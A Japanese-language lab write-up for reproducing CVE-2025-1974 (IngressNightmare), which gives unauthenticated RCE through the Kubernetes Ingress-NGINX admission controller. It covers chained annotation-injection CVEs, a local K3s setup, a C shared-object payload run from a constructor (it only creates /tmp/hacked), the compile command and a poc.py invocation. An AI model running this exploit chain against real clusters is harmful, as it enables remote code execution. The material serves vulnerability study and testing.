
CVE-2025-1974 (IngressNightmare) の概念実証エクスプロイト。Kubernetes Ingress-NGINX Admission Controller を標的とし、悪意のある AdmissionReview リクエストを介してリモートコード実行を達成するもの。
Ingress-NGINX: NGINXをリバースプロキシおよびロードバランサーとして使用するKubernetes用のIngressコントローラー
「IngressNightmare」脆弱性 (CVE-2025-1974) は、着信するIngressリソースの有効性を検証するKubernetesの核心的なセキュリティメカニズムであるIngress-NGINX Admission Controllerの致命的な欠陥に起因する。
このコントローラーは認証なしでネットワークに露出しており、攻撃者が悪意のあるAdmissionReviewリクエストを操作し、Ingressリソースに無許可の設定を注入することを可能にする。
他の脆弱性 (CVE-2025-24514、CVE-2024-1097、CVE-2025-1098) と連携すると、リモートコード実行に至る可能性がある。
一部の悪用可能なチェーンは以下の通り。
CVE-2025-1974+CVE-2025-24514: auth-url アノテーション注入によるRCE
CVE-2025-1974+CVE-2025-1097: auth-tls-match-cn アノテーションによるRCE
CVE-2025-1974+CVE-2025-1098: イメージUID悪用によるRCE
脆弱性をシミュレートするため、簡便性のためにK3sベースのKubernetes環境が使用される。
docker compose up -d
Kubernetes APIが準備され、Ingress-nginxコントローラーが起動するまで待機する。 環境が起動すると、Ingress-NGINXはポート30080および30443 (TLS) で待ち受け、Ingress-NGINX Admission Controllerはポート30443で待ち受ける。
.so まず、コンテナのアーキテクチャと一致する共有オブジェクト( )ペイロードをコンパイルする必要がある。
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
AdmissionReview exploitは、NGINXに悪意のある動的共有オブジェクトを強制的にロードさせるディレクティブ注入リクエストを偽造することで動作する。
exploitが成功すると、ingress-nginxコンテナ内部にファイルがssl_engine作成されることを確認できる。
